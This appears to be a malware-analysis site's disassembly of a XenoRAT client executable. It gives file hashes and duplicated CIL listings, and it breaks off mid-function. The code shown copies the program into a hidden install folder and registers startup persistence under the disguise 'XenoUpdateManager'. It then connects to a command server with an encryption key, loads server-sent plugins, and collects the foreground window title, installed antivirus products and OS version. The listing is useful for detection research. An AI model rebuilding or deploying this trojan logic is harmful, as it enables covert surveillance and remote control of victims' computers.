File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Overview
Loading..
File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Size 46,592 bytes
MD5 08f804cc6d0c9728631b8fd86b3cfdf5
SHA-1 eb478c94b0c1c8bb814af267d41a73fa23bc8175
SHA-256 388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7
Main xeno_rat_client.Program::<Main> program main, the CLI header's entry point
Similar files none
0000568c
0000568cxeno_rat_client.Program::<Main>:
0000568cldarg.0
0000568dcall Main
00005692callvirt GetAwaiter
00005697stloc.0
00005698ldloca.s 0
0000569acall GetResult
0000569fret
0000568c
0000568cxeno_rat_client.Program::<Main>:
0000568cldarg.0
0000568dcall Main
00005692callvirt GetAwaiter
00005697stloc.0
00005698ldloca.s 0
0000569acall GetResult
0000569fret
0000568c
000056ac
000056ac<Main>d__11::MoveNext:
000056acldarg.0
000056adldfld <>1__state
000056b2stloc.0
000056b3ldloc.0
000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
000056d5call get_Out
000056danewobj .ctor
000056dfcall SetOut
000056e4call get_CurrentDomain
000056e9ldnull
000056ealdftn CurrentDomain_UnhandledException
000056f0newobj .ctor
000056f5callvirt add_UnhandledException
000056facall IsAdmin
000056ffbrfalse.s IL_0069
00005701ldsfld mutex_string
00005706ldstr "-admin"
0000570bcall Concat
00005710stsfld mutex_string
00005715ldsfld Install_path
0000571aldstr "nothingset"
0000571fcall op_Inequality
00005724brfalse.s IL_00ea
00005726ldstr "%"
0000572bldsfld Install_path
00005730ldstr "%\\XenoManager\\"
00005735call Concat
0000573acall ExpandEnvironmentVariables
0000573fstloc.2
00005740call GetCurrentDirectory
00005745ldloc.2
00005746call op_Inequality
0000574bbrfalse.s IL_00e5
0000574dcall GetEntryAssembly
00005752callvirt get_Location
00005757stloc.3
00005758ldloc.2
00005759call Exists
0000575ebrtrue.s IL_00bb
00005760ldloc.2
00005761call CreateDirectory
00005766pop
00005767ldloc.3
00005768ldloc.2
00005769ldloc.3
0000576acall GetFileName
0000576fcall Concat
00005774call Copy
00005779ldloc.2
0000577aldloc.3
0000577bcall GetFileName
00005780call Concat
00005785call Start
0000578apop
0000578bldc.i4.0
0000578ccall Exit
00005791leave.s IL_00ea
00005793pop
00005794leave.s IL_00ea
00005796ldc.i4.1
00005797ldsfld mutex_string
0000579cldloca.s 1
0000579enewobj .ctor
000057a3pop
000057a4ldloc.1
000057a5brtrue.s IL_0100
000057a7leave IL_04c1
000057acldsfld delay
000057b1call Delay
000057b6callvirt GetAwaiter
000057bbstloc.s 4
000057bdldloca.s 4
000057bfcall get_IsCompleted
000057c4brtrue.s IL_015b
000057c6ldarg.0
000057c7ldc.i4.0
000057c8dup
000057c9stloc.0
000057castfld <>1__state
000057cfldarg.0
000057d0ldloc.s 4
000057d2stfld <>u__1
000057d7ldarg.0
000057d8ldflda <>t__builder
000057ddldloca.s 4
000057dfldarg.0
000057e0call 0x2B00003A
000057e5leave IL_04d4
000057ealdarg.0
000057ebldfld <>u__1
000057f0stloc.s 4
000057f2ldarg.0
000057f3ldflda <>u__1
000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
000057feldarg.0
000057ffldc.i4.m1
00005800dup
00005801stloc.0
00005802stfld <>1__state
00005807ldloca.s 4
00005809call GetResult
0000580eldsfld DoStartup
00005813ldc.i4.1
00005814bne.un IL_026b
00005819ldsfld startup_name
0000581eldstr "nothingset"
00005823call op_Equality
00005828brfalse.s IL_0188
0000582aldstr "XenoUpdateManager"
0000582fstsfld startup_name
00005834call IsAdmin
00005839brfalse.s IL_01fe
0000583bcall GetEntryAssembly
00005840callvirt get_Location
00005845ldsfld startup_name
0000584acall AddToStartupAdmin
0000584fcallvirt GetAwaiter
00005854stloc.s 5
00005856ldloca.s 5
00005858call get_IsCompleted
0000585dbrtrue.s IL_01f4
0000585fldarg.0
00005860ldc.i4.1
00005861dup
00005862stloc.0
00005863stfld <>1__state
00005868ldarg.0
00005869ldloc.s 5
0000586bstfld <>u__2
00005870ldarg.0
00005871ldflda <>t__builder
00005876ldloca.s 5
00005878ldarg.0
00005879call 0x2B00003B
0000587eleave IL_04d4
00005883ldarg.0
00005884ldfld <>u__2
00005889stloc.s 5
0000588bldarg.0
0000588cldflda <>u__2
00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005897ldarg.0
00005898ldc.i4.m1
00005899dup
0000589astloc.0
0000589bstfld <>1__state
000058a0ldloca.s 5
000058a2call GetResult
000058a7pop
000058a8br.s IL_026b
000058aacall GetEntryAssembly
000058afcallvirt get_Location
000058b4ldsfld startup_name
000058b9call AddToStartupNonAdmin
000058becallvirt GetAwaiter
000058c3stloc.s 5
000058c5ldloca.s 5
000058c7call get_IsCompleted
000058ccbrtrue.s IL_0263
000058celdarg.0
000058cfldc.i4.2
000058d0dup
000058d1stloc.0
000058d2stfld <>1__state
000058d7ldarg.0
000058d8ldloc.s 5
000058dastfld <>u__2
000058dfldarg.0
000058e0ldflda <>t__builder
000058e5ldloca.s 5
000058e7ldarg.0
000058e8call 0x2B00003B
000058edleave IL_04d4
000058f2ldarg.0
000058f3ldfld <>u__2
000058f8stloc.s 5
000058faldarg.0
000058fbldflda <>u__2
00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005906ldarg.0
00005907ldc.i4.m1
00005908dup
00005909stloc.0
0000590astfld <>1__state
0000590fldloca.s 5
00005911call GetResult
00005916pop
00005917ldarg.0
00005918ldc.i4.0
00005919stfld <>7__wrap2
0000591enop
0000591fldloc.0
00005920ldc.i4.3
00005921sub
00005922switch (IL_02de, IL_0354, IL_03c5)
00005933ldarg.0
00005934ldc.i4.2
00005935ldc.i4.1
00005936ldc.i4.6
00005937newobj .ctor
0000593cstfld <socket>5__4
00005941ldarg.0
00005942ldfld <socket>5__4
00005947ldsfld ServerIp
0000594cldsfld ServerPort
00005951call ConnectAsync
00005956callvirt GetAwaiter
0000595bstloc.s 4
0000595dldloca.s 4
0000595fcall get_IsCompleted
00005964brtrue.s IL_02fb
00005966ldarg.0
00005967ldc.i4.3
00005968dup
00005969stloc.0
0000596astfld <>1__state
0000596fldarg.0
00005970ldloc.s 4
00005972stfld <>u__1
00005977ldarg.0
00005978ldflda <>t__builder
0000597dldloca.s 4
0000597fldarg.0
00005980call 0x2B00003A
00005985leave IL_04d4
0000598aldarg.0
0000598bldfld <>u__1
00005990stloc.s 4
00005992ldarg.0
00005993ldflda <>u__1
00005998initobj System.Runtime.CompilerServices.TaskAwaiter
0000599eldarg.0
0000599fldc.i4.m1
000059a0dup
000059a1stloc.0
000059a2stfld <>1__state
000059a7ldloca.s 4
000059a9call GetResult
000059aeldarg.0
000059afldfld <socket>5__4
000059b4ldsfld EncryptionKey
000059b9ldc.i4.0
000059baldc.i4.0
000059bbldnull
000059bcldftn OnDisconnect
000059c2newobj .ctor
000059c7call ConnectAndSetupAsync
000059cccallvirt GetAwaiter
000059d1stloc.s 6
000059d3ldloca.s 6
000059d5call get_IsCompleted
000059dabrtrue.s IL_0371
000059dcldarg.0
000059ddldc.i4.4
000059dedup
000059dfstloc.0
000059e0stfld <>1__state
000059e5ldarg.0
000059e6ldloc.s 6
000059e8stfld <>u__3
000059edldarg.0
000059eeldflda <>t__builder
000059f3ldloca.s 6
000059f5ldarg.0
000059f6call 0x2B00003C
000059fbleave IL_04d4
00005a00ldarg.0
00005a01ldfld <>u__3
00005a06stloc.s 6
00005a08ldarg.0
00005a09ldflda <>u__3
00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00005a14ldarg.0
00005a15ldc.i4.m1
00005a16dup
00005a17stloc.0
00005a18stfld <>1__state
00005a1dldloca.s 6
00005a1fcall GetResult
00005a24stsfld Server
00005a29ldsfld Server
00005a2eldsfld dllhandler
00005a33newobj .ctor
00005a38callvirt Type0Receive
00005a3dcallvirt GetAwaiter
00005a42stloc.s 4
00005a44ldloca.s 4
00005a46call get_IsCompleted
00005a4bbrtrue.s IL_03e2
00005a4dldarg.0
00005a4eldc.i4.5
00005a4fdup
00005a50stloc.0
00005a51stfld <>1__state
00005a56ldarg.0
00005a57ldloc.s 4
00005a59stfld <>u__1
00005a5eldarg.0
00005a5fldflda <>t__builder
00005a64ldloca.s 4
00005a66ldarg.0
00005a67call 0x2B00003A
00005a6cleave IL_04d4
00005a71ldarg.0
00005a72ldfld <>u__1
00005a77stloc.s 4
00005a79ldarg.0
00005a7aldflda <>u__1
00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
00005a85ldarg.0
00005a86ldc.i4.m1
00005a87dup
00005a88stloc.0
00005a89stfld <>1__state
00005a8eldloca.s 4
00005a90call GetResult
00005a95ldarg.0
00005a96ldnull
00005a97stfld <socket>5__4
00005a9cleave.s IL_0405
00005a9estloc.s 7
00005aa0ldarg.0
00005aa1ldloc.s 7
00005aa3stfld <>7__wrap1
00005aa8ldarg.0
00005aa9ldc.i4.1
00005aaastfld <>7__wrap2
00005aafleave.s IL_0405
00005ab1ldarg.0
00005ab2ldfld <>7__wrap2
00005ab7stloc.s 8
00005ab9ldloc.s 8
00005abbldc.i4.1
00005abcbne.un IL_049c
00005ac1ldarg.0
00005ac2ldarg.0
00005ac3ldfld <>7__wrap1
00005ac8castclass System.Exception
00005acdstfld <e>5__5
00005ad2ldc.i4 10000
00005ad7call Delay
00005adccallvirt GetAwaiter
00005ae1stloc.s 4
00005ae3ldloca.s 4
00005ae5call get_IsCompleted
00005aeabrtrue.s IL_047e
00005aecldarg.0
00005aedldc.i4.6
00005aeedup
00005aefstloc.0
00005af0stfld <>1__state
00005af5ldarg.0
00005af6ldloc.s 4
00005af8stfld <>u__1
00005afdldarg.0
00005afeldflda <>t__builder
00005b03ldloca.s 4
00005b05ldarg.0
00005b06call 0x2B00003A
00005b0bleave.s IL_04d4
00005b0dldarg.0
00005b0eldfld <>u__1
00005b13stloc.s 4
00005b15ldarg.0
00005b16ldflda <>u__1
00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
00005b21ldarg.0
00005b22ldc.i4.m1
00005b23dup
00005b24stloc.0
00005b25stfld <>1__state
00005b2aldloca.s 4
00005b2ccall GetResult
00005b31ldarg.0
00005b32ldfld <e>5__5
00005b37callvirt get_Message
00005b3ccall WriteLine
00005b41ldarg.0
00005b42ldnull
00005b43stfld <e>5__5
00005b48ldarg.0
00005b49ldnull
00005b4astfld <>7__wrap1
00005b4fbr IL_026b
00005b54stloc.s 9
00005b56ldarg.0
00005b57ldc.i4.s -2
00005b59stfld <>1__state
00005b5eldarg.0
00005b5fldflda <>t__builder
00005b64ldloc.s 9
00005b66call SetException
00005b6bleave.s IL_04d4
00005b6dldarg.0
00005b6eldc.i4.s -2
00005b70stfld <>1__state
00005b75ldarg.0
00005b76ldflda <>t__builder
00005b7bcall SetResult
00005b80ret
000056ac
000056ac<Main>d__11::MoveNext:
000056acldarg.0
000056adldfld <>1__state
000056b2stloc.0
000056b3ldloc.0
000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
000056d5call get_Out
000056danewobj .ctor
000056dfcall SetOut
000056e4call get_CurrentDomain
000056e9ldnull
000056ealdftn CurrentDomain_UnhandledException
000056f0newobj .ctor
000056f5callvirt add_UnhandledException
000056facall IsAdmin
000056ffbrfalse.s IL_0069
00005701ldsfld mutex_string
00005706ldstr "-admin"
0000570bcall Concat
00005710stsfld mutex_string
00005715ldsfld Install_path
0000571aldstr "nothingset"
0000571fcall op_Inequality
00005724brfalse.s IL_00ea
00005726ldstr "%"
0000572bldsfld Install_path
00005730ldstr "%\\XenoManager\\"
00005735call Concat
0000573acall ExpandEnvironmentVariables
0000573fstloc.2
00005740call GetCurrentDirectory
00005745ldloc.2
00005746call op_Inequality
0000574bbrfalse.s IL_00e5
0000574dcall GetEntryAssembly
00005752callvirt get_Location
00005757stloc.3
00005758ldloc.2
00005759call Exists
0000575ebrtrue.s IL_00bb
00005760ldloc.2
00005761call CreateDirectory
00005766pop
00005767ldloc.3
00005768ldloc.2
00005769ldloc.3
0000576acall GetFileName
0000576fcall Concat
00005774call Copy
00005779ldloc.2
0000577aldloc.3
0000577bcall GetFileName
00005780call Concat
00005785call Start
0000578apop
0000578bldc.i4.0
0000578ccall Exit
00005791leave.s IL_00ea
00005793pop
00005794leave.s IL_00ea
00005796ldc.i4.1
00005797ldsfld mutex_string
0000579cldloca.s 1
0000579enewobj .ctor
000057a3pop
000057a4ldloc.1
000057a5brtrue.s IL_0100
000057a7leave IL_04c1
000057acldsfld delay
000057b1call Delay
000057b6callvirt GetAwaiter
000057bbstloc.s 4
000057bdldloca.s 4
000057bfcall get_IsCompleted
000057c4brtrue.s IL_015b
000057c6ldarg.0
000057c7ldc.i4.0
000057c8dup
000057c9stloc.0
000057castfld <>1__state
000057cfldarg.0
000057d0ldloc.s 4
000057d2stfld <>u__1
000057d7ldarg.0
000057d8ldflda <>t__builder
000057ddldloca.s 4
000057dfldarg.0
000057e0call 0x2B00003A
000057e5leave IL_04d4
000057ealdarg.0
000057ebldfld <>u__1
000057f0stloc.s 4
000057f2ldarg.0
000057f3ldflda <>u__1
000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
000057feldarg.0
000057ffldc.i4.m1
00005800dup
00005801stloc.0
00005802stfld <>1__state
00005807ldloca.s 4
00005809call GetResult
0000580eldsfld DoStartup
00005813ldc.i4.1
00005814bne.un IL_026b
00005819ldsfld startup_name
0000581eldstr "nothingset"
00005823call op_Equality
00005828brfalse.s IL_0188
0000582aldstr "XenoUpdateManager"
0000582fstsfld startup_name
00005834call IsAdmin
00005839brfalse.s IL_01fe
0000583bcall GetEntryAssembly
00005840callvirt get_Location
00005845ldsfld startup_name
0000584acall AddToStartupAdmin
0000584fcallvirt GetAwaiter
00005854stloc.s 5
00005856ldloca.s 5
00005858call get_IsCompleted
0000585dbrtrue.s IL_01f4
0000585fldarg.0
00005860ldc.i4.1
00005861dup
00005862stloc.0
00005863stfld <>1__state
00005868ldarg.0
00005869ldloc.s 5
0000586bstfld <>u__2
00005870ldarg.0
00005871ldflda <>t__builder
00005876ldloca.s 5
00005878ldarg.0
00005879call 0x2B00003B
0000587eleave IL_04d4
00005883ldarg.0
00005884ldfld <>u__2
00005889stloc.s 5
0000588bldarg.0
0000588cldflda <>u__2
00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005897ldarg.0
00005898ldc.i4.m1
00005899dup
0000589astloc.0
0000589bstfld <>1__state
000058a0ldloca.s 5
000058a2call GetResult
000058a7pop
000058a8br.s IL_026b
000058aacall GetEntryAssembly
000058afcallvirt get_Location
000058b4ldsfld startup_name
000058b9call AddToStartupNonAdmin
000058becallvirt GetAwaiter
000058c3stloc.s 5
000058c5ldloca.s 5
000058c7call get_IsCompleted
000058ccbrtrue.s IL_0263
000058celdarg.0
000058cfldc.i4.2
000058d0dup
000058d1stloc.0
000058d2stfld <>1__state
000058d7ldarg.0
000058d8ldloc.s 5
000058dastfld <>u__2
000058dfldarg.0
000058e0ldflda <>t__builder
000058e5ldloca.s 5
000058e7ldarg.0
000058e8call 0x2B00003B
000058edleave IL_04d4
000058f2ldarg.0
000058f3ldfld <>u__2
000058f8stloc.s 5
000058faldarg.0
000058fbldflda <>u__2
00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005906ldarg.0
00005907ldc.i4.m1
00005908dup
00005909stloc.0
0000590astfld <>1__state
0000590fldloca.s 5
00005911call GetResult
00005916pop
00005917ldarg.0
00005918ldc.i4.0
00005919stfld <>7__wrap2
0000591enop
0000591fldloc.0
00005920ldc.i4.3
00005921sub
00005922switch (IL_02de, IL_0354, IL_03c5)
00005933ldarg.0
00005934ldc.i4.2
00005935ldc.i4.1
00005936ldc.i4.6
00005937newobj .ctor
0000593cstfld <socket>5__4
00005941ldarg.0
00005942ldfld <socket>5__4
00005947ldsfld ServerIp
0000594cldsfld ServerPort
00005951call ConnectAsync
00005956callvirt GetAwaiter
0000595bstloc.s 4
0000595dldloca.s 4
0000595fcall get_IsCompleted
00005964brtrue.s IL_02fb
00005966ldarg.0
00005967ldc.i4.3
00005968dup
00005969stloc.0
0000596astfld <>1__state
0000596fldarg.0
00005970ldloc.s 4
00005972stfld <>u__1
00005977ldarg.0
00005978ldflda <>t__builder
0000597dldloca.s 4
0000597fldarg.0
00005980call 0x2B00003A
00005985leave IL_04d4
0000598aldarg.0
0000598bldfld <>u__1
00005990stloc.s 4
00005992ldarg.0
00005993ldflda <>u__1
00005998initobj System.Runtime.CompilerServices.TaskAwaiter
0000599eldarg.0
0000599fldc.i4.m1
000059a0dup
000059a1stloc.0
000059a2stfld <>1__state
000059a7ldloca.s 4
000059a9call GetResult
000059aeldarg.0
000059afldfld <socket>5__4
000059b4ldsfld EncryptionKey
000059b9ldc.i4.0
000059baldc.i4.0
000059bbldnull
000059bcldftn OnDisconnect
000059c2newobj .ctor
000059c7call ConnectAndSetupAsync
000059cccallvirt GetAwaiter
000059d1stloc.s 6
000059d3ldloca.s 6
000059d5call get_IsCompleted
000059dabrtrue.s IL_0371
000059dcldarg.0
000059ddldc.i4.4
000059dedup
000059dfstloc.0
000059e0stfld <>1__state
000059e5ldarg.0
000059e6ldloc.s 6
000059e8stfld <>u__3
000059edldarg.0
000059eeldflda <>t__builder
000059f3ldloca.s 6
000059f5ldarg.0
000059f6call 0x2B00003C
000059fbleave IL_04d4
00005a00ldarg.0
00005a01ldfld <>u__3
00005a06stloc.s 6
00005a08ldarg.0
00005a09ldflda <>u__3
00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00005a14ldarg.0
00005a15ldc.i4.m1
00005a16dup
00005a17stloc.0
00005a18stfld <>1__state
00005a1dldloca.s 6
00005a1fcall GetResult
00005a24stsfld Server
00005a29ldsfld Server
00005a2eldsfld dllhandler
00005a33newobj .ctor
00005a38callvirt Type0Receive
00005a3dcallvirt GetAwaiter
00005a42stloc.s 4
00005a44ldloca.s 4
00005a46call get_IsCompleted
00005a4bbrtrue.s IL_03e2
00005a4dldarg.0
00005a4eldc.i4.5
00005a4fdup
00005a50stloc.0
00005a51stfld <>1__state
00005a56ldarg.0
00005a57ldloc.s 4
00005a59stfld <>u__1
00005a5eldarg.0
00005a5fldflda <>t__builder
00005a64ldloca.s 4
00005a66ldarg.0
00005a67call 0x2B00003A
00005a6cleave IL_04d4
00005a71ldarg.0
00005a72ldfld <>u__1
00005a77stloc.s 4
00005a79ldarg.0
00005a7aldflda <>u__1
00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
00005a85ldarg.0
00005a86ldc.i4.m1
00005a87dup
00005a88stloc.0
00005a89stfld <>1__state
00005a8eldloca.s 4
00005a90call GetResult
00005a95ldarg.0
00005a96ldnull
00005a97stfld <socket>5__4
00005a9cleave.s IL_0405
00005a9estloc.s 7
00005aa0ldarg.0
00005aa1ldloc.s 7
00005aa3stfld <>7__wrap1
00005aa8ldarg.0
00005aa9ldc.i4.1
00005aaastfld <>7__wrap2
00005aafleave.s IL_0405
00005ab1ldarg.0
00005ab2ldfld <>7__wrap2
00005ab7stloc.s 8
00005ab9ldloc.s 8
00005abbldc.i4.1
00005abcbne.un IL_049c
00005ac1ldarg.0
00005ac2ldarg.0
00005ac3ldfld <>7__wrap1
00005ac8castclass System.Exception
00005acdstfld <e>5__5
00005ad2ldc.i4 10000
00005ad7call Delay
00005adccallvirt GetAwaiter
00005ae1stloc.s 4
00005ae3ldloca.s 4
00005ae5call get_IsCompleted
00005aeabrtrue.s IL_047e
00005aecldarg.0
00005aedldc.i4.6
00005aeedup
00005aefstloc.0
00005af0stfld <>1__state
00005af5ldarg.0
00005af6ldloc.s 4
00005af8stfld <>u__1
00005afdldarg.0
00005afeldflda <>t__builder
00005b03ldloca.s 4
00005b05ldarg.0
00005b06call 0x2B00003A
00005b0bleave.s IL_04d4
00005b0dldarg.0
00005b0eldfld <>u__1
00005b13stloc.s 4
00005b15ldarg.0
00005b16ldflda <>u__1
00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
00005b21ldarg.0
00005b22ldc.i4.m1
00005b23dup
00005b24stloc.0
00005b25stfld <>1__state
00005b2aldloca.s 4
00005b2ccall GetResult
00005b31ldarg.0
00005b32ldfld <e>5__5
00005b37callvirt get_Message
00005b3ccall WriteLine
00005b41ldarg.0
00005b42ldnull
00005b43stfld <e>5__5
00005b48ldarg.0
00005b49ldnull
00005b4astfld <>7__wrap1
00005b4fbr IL_026b
00005b54stloc.s 9
00005b56ldarg.0
00005b57ldc.i4.s -2
00005b59stfld <>1__state
00005b5eldarg.0
00005b5fldflda <>t__builder
00005b64ldloc.s 9
00005b66call SetException
00005b6bleave.s IL_04d4
00005b6dldarg.0
00005b6eldc.i4.s -2
00005b70stfld <>1__state
00005b75ldarg.0
00005b76ldflda <>t__builder
00005b7bcall SetResult
00005b80ret
000056ac
00005bdc
00005bdcxeno_rat_client.Utils::GetCaptionOfActiveWindowAsync:
00005bdcldloca.s 0
00005bdecall Create
00005be3stfld <>t__builder
00005be8ldloca.s 0
00005bealdc.i4.m1
00005bebstfld <>1__state
00005bf0ldloca.s 0
00005bf2ldflda <>t__builder
00005bf7ldloca.s 0
00005bf9call 0x2B00003D
00005bfeldloca.s 0
00005c00ldflda <>t__builder
00005c05call get_Task
00005c0aret
00005bdc
00005bdcxeno_rat_client.Utils::GetCaptionOfActiveWindowAsync:
00005bdcldloca.s 0
00005bdecall Create
00005be3stfld <>t__builder
00005be8ldloca.s 0
00005bealdc.i4.m1
00005bebstfld <>1__state
00005bf0ldloca.s 0
00005bf2ldflda <>t__builder
00005bf7ldloca.s 0
00005bf9call 0x2B00003D
00005bfeldloca.s 0
00005c00ldflda <>t__builder
00005c05call get_Task
00005c0aret
00005bdc
00005c18
00005c18xeno_rat_client.Utils::GetCaptionOfActiveWindow:
00005c18ldsfld Empty
00005c1dstloc.0
00005c1ecall GetForegroundWindow
00005c23stloc.1
00005c24ldloc.1
00005c25call GetWindowTextLength
00005c2aldc.i4.1
00005c2badd
00005c2cstloc.2
00005c2dldloc.2
00005c2enewobj .ctor
00005c33stloc.3
00005c34ldloc.1
00005c35ldloc.3
00005c36ldloc.2
00005c37call GetWindowText
00005c3cldc.i4.0
00005c3dble.s IL_002e
00005c3fldloc.3
00005c40callvirt ToString
00005c45stloc.0
00005c46nop
00005c47ldloc.1
00005c48ldloca.s 4
00005c4acall GetWindowThreadProcessId
00005c4fpop
00005c50ldloc.s 4
00005c52call GetProcessById
00005c57stloc.s 5
00005c59ldloc.0
00005c5aldstr ""
00005c5fcall op_Equality
00005c64brfalse.s IL_0058
00005c66ldloc.s 5
00005c68callvirt get_ProcessName
00005c6dstloc.0
00005c6ebr.s IL_006b
00005c70ldloc.s 5
00005c72callvirt get_ProcessName
00005c77ldstr " - "
00005c7cldloc.0
00005c7dcall Concat
00005c82stloc.0
00005c83ldloc.s 5
00005c85callvirt Dispose
00005c8aleave.s IL_0077
00005c8cpop
00005c8dleave.s IL_0077
00005c8fldloc.0
00005c90ret
00005c18
00005c18xeno_rat_client.Utils::GetCaptionOfActiveWindow:
00005c18ldsfld Empty
00005c1dstloc.0
00005c1ecall GetForegroundWindow
00005c23stloc.1
00005c24ldloc.1
00005c25call GetWindowTextLength
00005c2aldc.i4.1
00005c2badd
00005c2cstloc.2
00005c2dldloc.2
00005c2enewobj .ctor
00005c33stloc.3
00005c34ldloc.1
00005c35ldloc.3
00005c36ldloc.2
00005c37call GetWindowText
00005c3cldc.i4.0
00005c3dble.s IL_002e
00005c3fldloc.3
00005c40callvirt ToString
00005c45stloc.0
00005c46nop
00005c47ldloc.1
00005c48ldloca.s 4
00005c4acall GetWindowThreadProcessId
00005c4fpop
00005c50ldloc.s 4
00005c52call GetProcessById
00005c57stloc.s 5
00005c59ldloc.0
00005c5aldstr ""
00005c5fcall op_Equality
00005c64brfalse.s IL_0058
00005c66ldloc.s 5
00005c68callvirt get_ProcessName
00005c6dstloc.0
00005c6ebr.s IL_006b
00005c70ldloc.s 5
00005c72callvirt get_ProcessName
00005c77ldstr " - "
00005c7cldloc.0
00005c7dcall Concat
00005c82stloc.0
00005c83ldloc.s 5
00005c85callvirt Dispose
00005c8aleave.s IL_0077
00005c8cpop
00005c8dleave.s IL_0077
00005c8fldloc.0
00005c90ret
00005c18
00005cb0
00005cb0xeno_rat_client.Utils::IsAdmin:
00005cb0ldc.i4.0
00005cb1stloc.0
00005cb2call IsUserAnAdmin
00005cb7stloc.0
00005cb8leave.s IL_000d
00005cbapop
00005cbbleave.s IL_000d
00005cbdldloc.0
00005cberet
00005cb0
00005cb0xeno_rat_client.Utils::IsAdmin:
00005cb0ldc.i4.0
00005cb1stloc.0
00005cb2call IsUserAnAdmin
00005cb7stloc.0
00005cb8leave.s IL_000d
00005cbapop
00005cbbleave.s IL_000d
00005cbdldloc.0
00005cberet
00005cb0
00005cdc
00005cdcxeno_rat_client.Utils::GetAntivirus:
00005cdcnewobj .ctor
00005ce1stloc.0
00005ce2ldstr "\\\\"
00005ce7call get_MachineName
00005cecldstr "\\root\\SecurityCenter2"
00005cf1call Concat
00005cf6ldstr "SELECT * FROM AntivirusProduct"
00005cfbnewobj .ctor
00005d00stloc.1
00005d01ldloc.1
00005d02callvirt Get
00005d07callvirt GetEnumerator
00005d0cstloc.2
00005d0dbr.s IL_005f
00005d0fldloc.2
00005d10callvirt get_Current
00005d15dup
00005d16ldstr "displayName"
00005d1bcallvirt GetPropertyValue
00005d20callvirt ToString
00005d25stloc.3
00005d26ldloc.0
00005d27ldloc.3
00005d28callvirt Contains
00005d2dbrtrue.s IL_005a
00005d2fldloc.0
00005d30ldloc.3
00005d31callvirt Add
00005d36callvirt Dispose
00005d3bldloc.2
00005d3ccallvirt MoveNext
00005d41brtrue.s IL_0033
00005d43leave.s IL_0073
00005d45ldloc.2
00005d46brfalse.s IL_0072
00005d48ldloc.2
00005d49callvirt Dispose
00005d4eendfinally
00005d4fldloc.0
00005d50callvirt get_Count
00005d55brtrue.s IL_0086
00005d57ldloc.0
00005d58ldstr "N/A"
00005d5dcallvirt Add
00005d62leave.s IL_0092
00005d64ldloc.1
00005d65brfalse.s IL_0091
00005d67ldloc.1
00005d68callvirt Dispose
00005d6dendfinally
00005d6eldstr ", "
00005d73ldloc.0
00005d74call Join
00005d79stloc.s 4
00005d7bleave.s IL_00c4
00005d7dpop
00005d7eldloc.0
00005d7fcallvirt get_Count
00005d84brtrue.s IL_00b5
00005d86ldloc.0
00005d87ldstr "N/A"
00005d8ccallvirt Add
00005d91ldstr ", "
00005d96ldloc.0
00005d97call Join
00005d9cstloc.s 4
00005d9eleave.s IL_00c4
00005da0ldloc.s 4
00005da2ret
00005cdc
00005cdcxeno_rat_client.Utils::GetAntivirus:
00005cdcnewobj .ctor
00005ce1stloc.0
00005ce2ldstr "\\\\"
00005ce7call get_MachineName
00005cecldstr "\\root\\SecurityCenter2"
00005cf1call Concat
00005cf6ldstr "SELECT * FROM AntivirusProduct"
00005cfbnewobj .ctor
00005d00stloc.1
00005d01ldloc.1
00005d02callvirt Get
00005d07callvirt GetEnumerator
00005d0cstloc.2
00005d0dbr.s IL_005f
00005d0fldloc.2
00005d10callvirt get_Current
00005d15dup
00005d16ldstr "displayName"
00005d1bcallvirt GetPropertyValue
00005d20callvirt ToString
00005d25stloc.3
00005d26ldloc.0
00005d27ldloc.3
00005d28callvirt Contains
00005d2dbrtrue.s IL_005a
00005d2fldloc.0
00005d30ldloc.3
00005d31callvirt Add
00005d36callvirt Dispose
00005d3bldloc.2
00005d3ccallvirt MoveNext
00005d41brtrue.s IL_0033
00005d43leave.s IL_0073
00005d45ldloc.2
00005d46brfalse.s IL_0072
00005d48ldloc.2
00005d49callvirt Dispose
00005d4eendfinally
00005d4fldloc.0
00005d50callvirt get_Count
00005d55brtrue.s IL_0086
00005d57ldloc.0
00005d58ldstr "N/A"
00005d5dcallvirt Add
00005d62leave.s IL_0092
00005d64ldloc.1
00005d65brfalse.s IL_0091
00005d67ldloc.1
00005d68callvirt Dispose
00005d6dendfinally
00005d6eldstr ", "
00005d73ldloc.0
00005d74call Join
00005d79stloc.s 4
00005d7bleave.s IL_00c4
00005d7dpop
00005d7eldloc.0
00005d7fcallvirt get_Count
00005d84brtrue.s IL_00b5
00005d86ldloc.0
00005d87ldstr "N/A"
00005d8ccallvirt Add
00005d91ldstr ", "
00005d96ldloc.0
00005d97call Join
00005d9cstloc.s 4
00005d9eleave.s IL_00c4
00005da0ldloc.s 4
00005da2ret
00005cdc
00005dd8
00005dd8xeno_rat_client.Utils::GetWindowsVersion:
00005dd8ldstr ""
00005dddstloc.0
00005ddeldstr "SELECT * FROM Win32_OperatingSystem"
00005de3newobj .ctor
00005de8stloc.1
00005de9ldloc.1
00005deacallvirt Get
00005defstloc.2
00005df0ldloc.2
00005df1brfalse.s IL_0078
00005df3ldloc.2
00005df4callvirt GetEnumerator
00005df9stloc.3
00005dfabr.s IL_005e
00005dfcldloc.3
00005dfdcallvirt get_Current
00005e02castclass System.Management.ManagementObject
00005e07stloc.s 4
00005e09ldloc.s 4
00005e0bldstr "Caption"
00005e10callvirt get_Item
00005e15callvirt ToString
00005e1aldstr " - "
00005e1fldloc.s 4
00005e21ldstr "OSArchitecture"
00005e26callvirt get_Item
00005e2bcallvirt ToString
00005e30call Concat
00005e35stloc.0
00005e36ldloc.3
00005e37callvirt MoveNext
00005e3cbrtrue.s IL_0024
00005e3eleave.s IL_0072
